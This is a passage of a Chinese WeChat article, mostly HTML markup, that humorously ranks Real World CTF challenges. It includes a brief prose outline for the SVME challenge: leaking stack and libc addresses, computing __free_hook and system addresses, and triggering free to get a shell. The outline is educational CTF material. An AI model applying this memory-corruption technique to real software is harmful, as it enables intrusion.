1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.5470941883767535" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 328px;visibility: visible !important;height: 179px;" data-type="gif" data-w="499" src="https://wechat2rss.xlab.app/img-proxy/?k=2d61b6e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBHfkJSpQWYkLnAkkbdAmOGUW7HQHwpDYxFUicN7d7gRicTUdtCAHB4gjA%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="85560" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 2px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: flex-start;overflow-wrap: break-word !important;"><section data-darkmode-bgimage="1" data-darkmode-color="rgba(0,0,0,0.9)" style="margin-right: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg&#34;);background-size: cover;background-position: center center;background-repeat: no-repeat;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1.067632850241546" data-type="jpeg" data-w="414" data-width="100%" title="小龙.jpg" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;width: 46px;border-radius: 50%;opacity: 0;overflow-wrap: break-word !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=54426844&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: none;font-size: 12px;line-height: 1.5em;overflow-wrap: break-word !important;"><br/></p></section></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(38, 160, 58);border-top-color: rgb(38, 160, 58);height: 10px;color: inherit;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-top: -8px;margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(254, 254, 254);border-top-color: rgb(254, 254, 254);height: 10px;color: inherit;float: left;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-right: auto;margin-bottom: -2px;margin-left: auto;padding: 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 5px;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">不止将题目场景设置在各种实战的攻防场景中，</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;caret-color: red;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">还要结合艺术。</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;caret-color: red;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">看来RWCTF果然是“<span style="outline: 0px;max-width: 100%;caret-color: red;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;caret-color: red;color: rgb(235, 173, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;">以技术难度高、接近真实世界体验感而著称的硬核赛事</span></strong></span>“呀</span></p></section></section></section></section><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">解题思路：</span></strong></p><p style="margin-top: 8px;outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Voidfyoo师傅出品，必属精品，除了题目，还有Writeup，不管做过题还是没做过的小伙伴，都可以来围观一波了。</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&amp;mid=2247486102&amp;idx=1&amp;sn=73c28a27bce548a4b9eebe3bada08c39&amp;chksm=96f415fba1839cedb08f3220f21fb3ce86cf74b72df9b866c5895b5035853585f6c071aea51e&amp;scene=21#wechat_redirect" textvalue="Real Wolrd CTF 3rd Writeup | Old System" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;text-decoration: underline;cursor: pointer;max-width: 100%;line-height: 1.58em;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">Real Wolrd CTF 3rd Writeup | Old System</span></strong><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></span></a><span style="outline: 0px;max-width: 100%;text-decoration: underline;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p></section><section data-role="paragraph" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">4</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">、<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">最<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">想胖揍出题人</strong>题目：</strong></span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">SVME</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&gt;</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;background-color: rgb(0, 158, 231);line-height: 1.56em;color: rgb(252, 252, 252);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">来自2022年线上总决赛</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">上榜理由</span></strong></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">：<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">难度标签baby，实际却是让人哭的像baby</strong></span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">本来是为了更有针对性的选择解题顺序</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">结果却是一座理解能力的大坑，</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">一道题解2天，难哭一片人</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">当天便荣登题目吐槽榜榜首</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">甚至被众筹胖揍一顿出题人</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.96" data-s="300,640" style="width: 287px;height: 276px;" data-type="jpeg" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=a277ff2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFuleibl6qMuqfzib0y5ZwicCUzYel5GfeGoibQGzMUD4LHja094DT0y34SR2Sic4hPKUBmonQTj2crdty3dHQLmv4JA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section data-tools="135编辑器" data-id="85560" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 2px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: flex-start;overflow-wrap: break-word !important;"><section data-darkmode-bgimage="1" data-darkmode-color="rgba(0,0,0,0.9)" style="margin-right: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 50px;height: 50px;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg&#34;);background-size: cover;background-position: center center;background-repeat: no-repeat;overflow-wrap: break-word !important;"><span class="js_img_placeholder" src="https://mmbiz.qpic.cn/mmbiz_jpg/FOh11C4BDicQBuQHPL8ibkzSrTc42IevYBIo2ic4xiaMQ3mMRmtL4lI0yAf604k3MFbk88Cibice3fLEZ3euC86SLia6A/640?wx_fmt=jpeg" data-index="11" style="outline: 0px;display: inline-flex;align-items: center;justify-content: center;"><span style="outline: 0px;font-size: 16px;display: inline-flex;width: 1em;height: 1em;vertical-align: middle;color: rgb(96, 96, 96);animation: 1s steps(60) 0s infinite normal none running f;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box;clear: none;font-size: 12px;line-height: 1.5em;overflow-wrap: break-word !important;"><br/></p></section></section><section style="margin: 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: initial;border-style: none;border-color: initial;overflow-wrap: break-word !important;"><section style="margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(38, 160, 58);border-top-color: rgb(38, 160, 58);height: 10px;color: inherit;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-top: -8px;margin-left: 18px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 0px;border-bottom: 0.6em solid rgb(254, 254, 254);border-top-color: rgb(254, 254, 254);height: 10px;color: inherit;float: left;overflow: hidden;overflow-wrap: break-word !important;border-left: 0.7em solid transparent !important;border-right: 0.7em solid transparent !important;"><br/></section><section style="margin-right: auto;margin-bottom: -2px;margin-left: auto;padding: 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;border-width: 2px;border-style: solid;border-color: rgb(38, 160, 58);border-radius: 5px;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;caret-color: red;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">一直以Real World为赛题风格，</span><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">不经二次开发，解题也是需要原汁原味代码</span></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">本道题目<span style="outline: 0px;max-width: 100%;font-size: 17px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;">可真是将Real发挥到了极致呀</span></strong></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color="rgb(235, 173, 51)" data-darkmode-original-color="rgb(235, 173, 51)" style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;">！</span></strong></span></p></section></section></section></section><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;caret-color: red;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">解题思路：</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><span style="outline: 0px;max-width: 100%;font-size: 15px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">简单解题思路，感兴趣的小伙伴可以后台留言讨论~</span></p><section data-tools="135编辑器" data-id="94886" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-width="100%" style="outline: 0px;max-width: 100%;box-sizing: border-box;width: 677px;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;background-color: rgb(238, 238, 238);box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="padding: 1em;outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;">无检测的虚拟机</span></p><section data-role="list" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><ul class="list-paddingleft-1" style="padding-left: 30px;outline: 0px;max-width: 100%;overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 1em;outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);margin-top: 0px;margin-bottom: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;">不断利用LOAD，STORE，GLOAD，GSTORE得到栈地址，栈空间中的libc地址</span></section></li><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 1em;outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);margin-top: 0px;margin-bottom: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;">利用计算指令计算出__free_hook-8和system的地址</span></section></li><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="padding: 1em;outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);margin-top: 0px;margin-bottom: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;">最后结束的时候触发free -&gt; *__free_hook(&amp;__free_hook-8)实现getshell</span></section></li></ul></section></section><section style="margin-top: -18px;margin-right: 1em;outline: 0px;max-width: 100%;text-align: right;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box;width: 4em;height: 4px;background-color: rgb(122, 194, 89);display: inline-block;overflow: hidden;overflow-wrap: break-word !important;"><br/></section></section></section></section><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">5</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">、<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">最长青题目</strong></span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">：</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">虚拟化安全</span></strong><strong style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(235, 173, 51);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">&gt;</span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;background-color: rgb(0, 158, 231);line-height: 1.56em;color: rgb(252, 252, 252);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">来自四届比赛线上+线下所有题目</span></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 19px;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;line-height: 1.58em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 1.58em;color: rgb(38, 160, 58);font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">上榜理由</span></strong></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;font-family: 微软雅黑, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;">：<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">必考题，还不赶紧划重点？</strong></span></strong></p><p style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">RWCTF的出题师傅们似乎也格外偏爱虚拟化安全</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">简直就是RWCTF的长青必考题型。</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2018年线下赛一道线上赛三道</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2019年线下赛一道</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2020年直接升级，唯一一道未解之题就是。</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">而且据说题目所用还是Oracle 官方真实漏洞</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">还入选了HITB的演讲议题</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;">简直就是把技术焊死在了赛题上呀</span></p><p style="outline: 0px;max-width: 100%;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.8789473684210526" width="321" data-type="jpeg" data-w="380" data-width="321px" style="outline: 0px;box-sizing: border-box;vertical-align: inherit;overflow-wrap: break-word !important;width: 261px;visibility: visible !important;height: 229px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b232ce07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFOh11C4BDicQBuQHPL8ibkzSrTc42IevYBzm1qWBiaRV11KRQWbGBHe88I8SkMYLc25KDicGRteBfojxK4QQGSgxEw%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p></section><section data-role="paragraph" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p></section><section data-role="paragraph" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-tools="135编辑器" data-id="85560" data-color="#7ac259" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin-right: auto;margin-left: auto;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word 